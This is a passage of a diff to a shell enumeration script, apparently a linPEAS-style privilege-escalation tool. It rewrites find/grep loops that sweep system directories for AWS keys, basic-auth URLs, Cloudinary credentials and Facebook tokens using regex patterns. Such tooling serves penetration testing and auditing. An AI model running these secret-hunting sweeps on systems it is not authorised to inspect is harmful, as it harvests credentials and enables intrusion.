-n 50 | sed -${E} "s~amzn\.mws\.[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}~${SED_RED}~" & -timeout 120 find /opt -type f -exec grep -HnRiIE "amzn\.mws\.[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~amzn\.mws\.[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}~${SED_RED}~" & -timeout 120 find /tmp -type f -exec grep -HnRiIE "amzn\.mws\.[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~amzn\.mws\.[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}~${SED_RED}~" & -timeout 120 find /private -type f -exec grep -HnRiIE "amzn\.mws\.[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~amzn\.mws\.[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}~${SED_RED}~" & -timeout 120 find /Applications -type f -exec grep -HnRiIE "amzn\.mws\.[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~amzn\.mws\.[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}~${SED_RED}~" & -timeout 120 find /var/www -type f -exec grep -HnRiIE "amzn\.mws\.[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~amzn\.mws\.[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}~${SED_RED}~" & -timeout 120 find /var/log -type f -exec grep -HnRiIE "amzn\.mws\.[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~amzn\.mws\.[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}~${SED_RED}~" & -timeout 120 find /private/var/log -type f -exec grep -HnRiIE "amzn\.mws\.[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~amzn\.mws\.[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}~${SED_RED}~" & -timeout 120 find /usr/local/www/ -type f -exec grep -HnRiIE "amzn\.mws\.[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~amzn\.mws\.[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}~${SED_RED}~" & -timeout 120 find $backup_folders_row -type f -exec grep -HnRiIE "amzn\.mws\.[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~amzn\.mws\.[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}~${SED_RED}~" & +print_3title_no_nl "Searching AWS MWS Key (limited to 50)..." +if [ "$SEARCH_IN_FOLDER" ]; then + timeout 120 find "$ROOT_FOLDER" -type f -not -path "*/node_modules/*" -exec grep -HnRiIE "amzn\.mws\.[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & +else + timeout 120 find $HOMESEARCH -type f -not -path "*/node_modules/*" -exec grep -HnRIE "amzn\.mws\.[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /etc -type f -not -path "*/node_modules/*" -exec grep -HnRIE "amzn\.mws\.[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /opt -type f -not -path "*/node_modules/*" -exec grep -HnRIE "amzn\.mws\.[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /tmp -type f -not -path "*/node_modules/*" -exec grep -HnRIE "amzn\.mws\.[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /private -type f -not -path "*/node_modules/*" -exec grep -HnRIE "amzn\.mws\.[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /Applications -type f -not -path "*/node_modules/*" -exec grep -HnRIE "amzn\.mws\.[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /var/www -type f -not -path "*/node_modules/*" -exec grep -HnRIE "amzn\.mws\.[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "amzn\.mws\.[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /private/var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "amzn\.mws\.[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /usr/local/www/ -type f -not -path "*/node_modules/*" -exec grep -HnRIE "amzn\.mws\.[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find $backup_folders_row -type f -not -path "*/node_modules/*" -exec grep -HnRIE "amzn\.mws\.[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & +fi wait -print_3title "Searching AWS Secret Key (limited to 50)" -timeout 120 find $HOMESEARCH -type f -exec grep -HnRiIE "aws(.{0,20})?['\"][0-9a-zA-Z\/+]{40}['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~aws(.{0,20})?['\"][0-9a-zA-Z\/+]{40}['\"]~${SED_RED}~" & -timeout 120 find /etc -type f -exec grep -HnRiIE "aws(.{0,20})?['\"][0-9a-zA-Z\/+]{40}['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~aws(.{0,20})?['\"][0-9a-zA-Z\/+]{40}['\"]~${SED_RED}~" & -timeout 120 find /opt -type f -exec grep -HnRiIE "aws(.{0,20})?['\"][0-9a-zA-Z\/+]{40}['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~aws(.{0,20})?['\"][0-9a-zA-Z\/+]{40}['\"]~${SED_RED}~" & -timeout 120 find /tmp -type f -exec grep -HnRiIE "aws(.{0,20})?['\"][0-9a-zA-Z\/+]{40}['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~aws(.{0,20})?['\"][0-9a-zA-Z\/+]{40}['\"]~${SED_RED}~" & -timeout 120 find /private -type f -exec grep -HnRiIE "aws(.{0,20})?['\"][0-9a-zA-Z\/+]{40}['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~aws(.{0,20})?['\"][0-9a-zA-Z\/+]{40}['\"]~${SED_RED}~" & -timeout 120 find /Applications -type f -exec grep -HnRiIE "aws(.{0,20})?['\"][0-9a-zA-Z\/+]{40}['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~aws(.{0,20})?['\"][0-9a-zA-Z\/+]{40}['\"]~${SED_RED}~" & -timeout 120 find /var/www -type f -exec grep -HnRiIE "aws(.{0,20})?['\"][0-9a-zA-Z\/+]{40}['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~aws(.{0,20})?['\"][0-9a-zA-Z\/+]{40}['\"]~${SED_RED}~" & -timeout 120 find /var/log -type f -exec grep -HnRiIE "aws(.{0,20})?['\"][0-9a-zA-Z\/+]{40}['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~aws(.{0,20})?['\"][0-9a-zA-Z\/+]{40}['\"]~${SED_RED}~" & -timeout 120 find /private/var/log -type f -exec grep -HnRiIE "aws(.{0,20})?['\"][0-9a-zA-Z\/+]{40}['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~aws(.{0,20})?['\"][0-9a-zA-Z\/+]{40}['\"]~${SED_RED}~" & -timeout 120 find /usr/local/www/ -type f -exec grep -HnRiIE "aws(.{0,20})?['\"][0-9a-zA-Z\/+]{40}['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~aws(.{0,20})?['\"][0-9a-zA-Z\/+]{40}['\"]~${SED_RED}~" & -timeout 120 find $backup_folders_row -type f -exec grep -HnRiIE "aws(.{0,20})?['\"][0-9a-zA-Z\/+]{40}['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~aws(.{0,20})?['\"][0-9a-zA-Z\/+]{40}['\"]~${SED_RED}~" & +print_3title_no_nl "Searching AWS Secret Key (limited to 50)..." +if [ "$SEARCH_IN_FOLDER" ]; then + timeout 120 find "$ROOT_FOLDER" -type f -not -path "*/node_modules/*" -exec grep -HnRiIE "aws(.{0,20})?['\"][0-9a-zA-Z\/+]{40}['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & +else + timeout 120 find $HOMESEARCH -type f -not -path "*/node_modules/*" -exec grep -HnRIE "aws(.{0,20})?['\"][0-9a-zA-Z\/+]{40}['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /etc -type f -not -path "*/node_modules/*" -exec grep -HnRIE "aws(.{0,20})?['\"][0-9a-zA-Z\/+]{40}['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /opt -type f -not -path "*/node_modules/*" -exec grep -HnRIE "aws(.{0,20})?['\"][0-9a-zA-Z\/+]{40}['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /tmp -type f -not -path "*/node_modules/*" -exec grep -HnRIE "aws(.{0,20})?['\"][0-9a-zA-Z\/+]{40}['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /private -type f -not -path "*/node_modules/*" -exec grep -HnRIE "aws(.{0,20})?['\"][0-9a-zA-Z\/+]{40}['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /Applications -type f -not -path "*/node_modules/*" -exec grep -HnRIE "aws(.{0,20})?['\"][0-9a-zA-Z\/+]{40}['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /var/www -type f -not -path "*/node_modules/*" -exec grep -HnRIE "aws(.{0,20})?['\"][0-9a-zA-Z\/+]{40}['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "aws(.{0,20})?['\"][0-9a-zA-Z\/+]{40}['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /private/var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "aws(.{0,20})?['\"][0-9a-zA-Z\/+]{40}['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /usr/local/www/ -type f -not -path "*/node_modules/*" -exec grep -HnRIE "aws(.{0,20})?['\"][0-9a-zA-Z\/+]{40}['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find $backup_folders_row -type f -not -path "*/node_modules/*" -exec grep -HnRIE "aws(.{0,20})?['\"][0-9a-zA-Z\/+]{40}['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & +fi wait -print_3title "Searching Basic Auth Credentials (limited to 50)" -timeout 120 find $HOMESEARCH -type f -exec grep -HnRiIE "://[a-zA-Z0-9]+:[a-zA-Z0-9]+@[a-zA-Z0-9]+\.[a-zA-Z]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~://[a-zA-Z0-9]+:[a-zA-Z0-9]+@[a-zA-Z0-9]+\.[a-zA-Z]+~${SED_RED}~" & -timeout 120 find /etc -type f -exec grep -HnRiIE "://[a-zA-Z0-9]+:[a-zA-Z0-9]+@[a-zA-Z0-9]+\.[a-zA-Z]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~://[a-zA-Z0-9]+:[a-zA-Z0-9]+@[a-zA-Z0-9]+\.[a-zA-Z]+~${SED_RED}~" & -timeout 120 find /opt -type f -exec grep -HnRiIE "://[a-zA-Z0-9]+:[a-zA-Z0-9]+@[a-zA-Z0-9]+\.[a-zA-Z]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~://[a-zA-Z0-9]+:[a-zA-Z0-9]+@[a-zA-Z0-9]+\.[a-zA-Z]+~${SED_RED}~" & -timeout 120 find /tmp -type f -exec grep -HnRiIE "://[a-zA-Z0-9]+:[a-zA-Z0-9]+@[a-zA-Z0-9]+\.[a-zA-Z]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~://[a-zA-Z0-9]+:[a-zA-Z0-9]+@[a-zA-Z0-9]+\.[a-zA-Z]+~${SED_RED}~" & -timeout 120 find /private -type f -exec grep -HnRiIE "://[a-zA-Z0-9]+:[a-zA-Z0-9]+@[a-zA-Z0-9]+\.[a-zA-Z]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~://[a-zA-Z0-9]+:[a-zA-Z0-9]+@[a-zA-Z0-9]+\.[a-zA-Z]+~${SED_RED}~" & -timeout 120 find /Applications -type f -exec grep -HnRiIE "://[a-zA-Z0-9]+:[a-zA-Z0-9]+@[a-zA-Z0-9]+\.[a-zA-Z]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~://[a-zA-Z0-9]+:[a-zA-Z0-9]+@[a-zA-Z0-9]+\.[a-zA-Z]+~${SED_RED}~" & -timeout 120 find /var/www -type f -exec grep -HnRiIE "://[a-zA-Z0-9]+:[a-zA-Z0-9]+@[a-zA-Z0-9]+\.[a-zA-Z]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~://[a-zA-Z0-9]+:[a-zA-Z0-9]+@[a-zA-Z0-9]+\.[a-zA-Z]+~${SED_RED}~" & -timeout 120 find /var/log -type f -exec grep -HnRiIE "://[a-zA-Z0-9]+:[a-zA-Z0-9]+@[a-zA-Z0-9]+\.[a-zA-Z]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~://[a-zA-Z0-9]+:[a-zA-Z0-9]+@[a-zA-Z0-9]+\.[a-zA-Z]+~${SED_RED}~" & -timeout 120 find /private/var/log -type f -exec grep -HnRiIE "://[a-zA-Z0-9]+:[a-zA-Z0-9]+@[a-zA-Z0-9]+\.[a-zA-Z]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~://[a-zA-Z0-9]+:[a-zA-Z0-9]+@[a-zA-Z0-9]+\.[a-zA-Z]+~${SED_RED}~" & -timeout 120 find /usr/local/www/ -type f -exec grep -HnRiIE "://[a-zA-Z0-9]+:[a-zA-Z0-9]+@[a-zA-Z0-9]+\.[a-zA-Z]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~://[a-zA-Z0-9]+:[a-zA-Z0-9]+@[a-zA-Z0-9]+\.[a-zA-Z]+~${SED_RED}~" & -timeout 120 find $backup_folders_row -type f -exec grep -HnRiIE "://[a-zA-Z0-9]+:[a-zA-Z0-9]+@[a-zA-Z0-9]+\.[a-zA-Z]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~://[a-zA-Z0-9]+:[a-zA-Z0-9]+@[a-zA-Z0-9]+\.[a-zA-Z]+~${SED_RED}~" & +print_3title_no_nl "Searching Basic Auth Credentials (limited to 50)..." +if [ "$SEARCH_IN_FOLDER" ]; then + timeout 120 find "$ROOT_FOLDER" -type f -not -path "*/node_modules/*" -exec grep -HnRiIE "://[a-zA-Z0-9]+:[a-zA-Z0-9]+@[a-zA-Z0-9]+\.[a-zA-Z]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & +else + timeout 120 find $HOMESEARCH -type f -not -path "*/node_modules/*" -exec grep -HnRIE "://[a-zA-Z0-9]+:[a-zA-Z0-9]+@[a-zA-Z0-9]+\.[a-zA-Z]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /etc -type f -not -path "*/node_modules/*" -exec grep -HnRIE "://[a-zA-Z0-9]+:[a-zA-Z0-9]+@[a-zA-Z0-9]+\.[a-zA-Z]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /opt -type f -not -path "*/node_modules/*" -exec grep -HnRIE "://[a-zA-Z0-9]+:[a-zA-Z0-9]+@[a-zA-Z0-9]+\.[a-zA-Z]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /tmp -type f -not -path "*/node_modules/*" -exec grep -HnRIE "://[a-zA-Z0-9]+:[a-zA-Z0-9]+@[a-zA-Z0-9]+\.[a-zA-Z]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /private -type f -not -path "*/node_modules/*" -exec grep -HnRIE "://[a-zA-Z0-9]+:[a-zA-Z0-9]+@[a-zA-Z0-9]+\.[a-zA-Z]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /Applications -type f -not -path "*/node_modules/*" -exec grep -HnRIE "://[a-zA-Z0-9]+:[a-zA-Z0-9]+@[a-zA-Z0-9]+\.[a-zA-Z]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /var/www -type f -not -path "*/node_modules/*" -exec grep -HnRIE "://[a-zA-Z0-9]+:[a-zA-Z0-9]+@[a-zA-Z0-9]+\.[a-zA-Z]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "://[a-zA-Z0-9]+:[a-zA-Z0-9]+@[a-zA-Z0-9]+\.[a-zA-Z]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /private/var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "://[a-zA-Z0-9]+:[a-zA-Z0-9]+@[a-zA-Z0-9]+\.[a-zA-Z]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /usr/local/www/ -type f -not -path "*/node_modules/*" -exec grep -HnRIE "://[a-zA-Z0-9]+:[a-zA-Z0-9]+@[a-zA-Z0-9]+\.[a-zA-Z]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find $backup_folders_row -type f -not -path "*/node_modules/*" -exec grep -HnRIE "://[a-zA-Z0-9]+:[a-zA-Z0-9]+@[a-zA-Z0-9]+\.[a-zA-Z]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & +fi wait -print_3title "Searching Cloudinary Basic Auth (limited to 50)" -timeout 120 find $HOMESEARCH -type f -exec grep -HnRiIE "cloudinary://[0-9]{15}:[0-9A-Za-z]+@[a-z]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~cloudinary://[0-9]{15}:[0-9A-Za-z]+@[a-z]+~${SED_RED}~" & -timeout 120 find /etc -type f -exec grep -HnRiIE "cloudinary://[0-9]{15}:[0-9A-Za-z]+@[a-z]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~cloudinary://[0-9]{15}:[0-9A-Za-z]+@[a-z]+~${SED_RED}~" & -timeout 120 find /opt -type f -exec grep -HnRiIE "cloudinary://[0-9]{15}:[0-9A-Za-z]+@[a-z]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~cloudinary://[0-9]{15}:[0-9A-Za-z]+@[a-z]+~${SED_RED}~" & -timeout 120 find /tmp -type f -exec grep -HnRiIE "cloudinary://[0-9]{15}:[0-9A-Za-z]+@[a-z]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~cloudinary://[0-9]{15}:[0-9A-Za-z]+@[a-z]+~${SED_RED}~" & -timeout 120 find /private -type f -exec grep -HnRiIE "cloudinary://[0-9]{15}:[0-9A-Za-z]+@[a-z]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~cloudinary://[0-9]{15}:[0-9A-Za-z]+@[a-z]+~${SED_RED}~" & -timeout 120 find /Applications -type f -exec grep -HnRiIE "cloudinary://[0-9]{15}:[0-9A-Za-z]+@[a-z]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~cloudinary://[0-9]{15}:[0-9A-Za-z]+@[a-z]+~${SED_RED}~" & -timeout 120 find /var/www -type f -exec grep -HnRiIE "cloudinary://[0-9]{15}:[0-9A-Za-z]+@[a-z]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~cloudinary://[0-9]{15}:[0-9A-Za-z]+@[a-z]+~${SED_RED}~" & -timeout 120 find /var/log -type f -exec grep -HnRiIE "cloudinary://[0-9]{15}:[0-9A-Za-z]+@[a-z]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~cloudinary://[0-9]{15}:[0-9A-Za-z]+@[a-z]+~${SED_RED}~" & -timeout 120 find /private/var/log -type f -exec grep -HnRiIE "cloudinary://[0-9]{15}:[0-9A-Za-z]+@[a-z]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~cloudinary://[0-9]{15}:[0-9A-Za-z]+@[a-z]+~${SED_RED}~" & -timeout 120 find /usr/local/www/ -type f -exec grep -HnRiIE "cloudinary://[0-9]{15}:[0-9A-Za-z]+@[a-z]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~cloudinary://[0-9]{15}:[0-9A-Za-z]+@[a-z]+~${SED_RED}~" & -timeout 120 find $backup_folders_row -type f -exec grep -HnRiIE "cloudinary://[0-9]{15}:[0-9A-Za-z]+@[a-z]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~cloudinary://[0-9]{15}:[0-9A-Za-z]+@[a-z]+~${SED_RED}~" & +print_3title_no_nl "Searching Cloudinary Basic Auth (limited to 50)..." +if [ "$SEARCH_IN_FOLDER" ]; then + timeout 120 find "$ROOT_FOLDER" -type f -not -path "*/node_modules/*" -exec grep -HnRiIE "cloudinary://[0-9]{15}:[0-9A-Za-z]+@[a-z]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & +else + timeout 120 find $HOMESEARCH -type f -not -path "*/node_modules/*" -exec grep -HnRIE "cloudinary://[0-9]{15}:[0-9A-Za-z]+@[a-z]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /etc -type f -not -path "*/node_modules/*" -exec grep -HnRIE "cloudinary://[0-9]{15}:[0-9A-Za-z]+@[a-z]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /opt -type f -not -path "*/node_modules/*" -exec grep -HnRIE "cloudinary://[0-9]{15}:[0-9A-Za-z]+@[a-z]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /tmp -type f -not -path "*/node_modules/*" -exec grep -HnRIE "cloudinary://[0-9]{15}:[0-9A-Za-z]+@[a-z]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /private -type f -not -path "*/node_modules/*" -exec grep -HnRIE "cloudinary://[0-9]{15}:[0-9A-Za-z]+@[a-z]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /Applications -type f -not -path "*/node_modules/*" -exec grep -HnRIE "cloudinary://[0-9]{15}:[0-9A-Za-z]+@[a-z]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /var/www -type f -not -path "*/node_modules/*" -exec grep -HnRIE "cloudinary://[0-9]{15}:[0-9A-Za-z]+@[a-z]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "cloudinary://[0-9]{15}:[0-9A-Za-z]+@[a-z]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /private/var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "cloudinary://[0-9]{15}:[0-9A-Za-z]+@[a-z]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /usr/local/www/ -type f -not -path "*/node_modules/*" -exec grep -HnRIE "cloudinary://[0-9]{15}:[0-9A-Za-z]+@[a-z]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find $backup_folders_row -type f -not -path "*/node_modules/*" -exec grep -HnRIE "cloudinary://[0-9]{15}:[0-9A-Za-z]+@[a-z]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & +fi wait -print_3title "Searching Facebook Access Token (limited to 50)" -timeout 120 find $HOMESEARCH -type f -exec grep -HnRiIE "EAACEdEose0cBA[0-9A-Za-z]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~EAACEdEose0cBA[0-9A-Za-z]+~${SED_RED}~" & -timeout 120 find 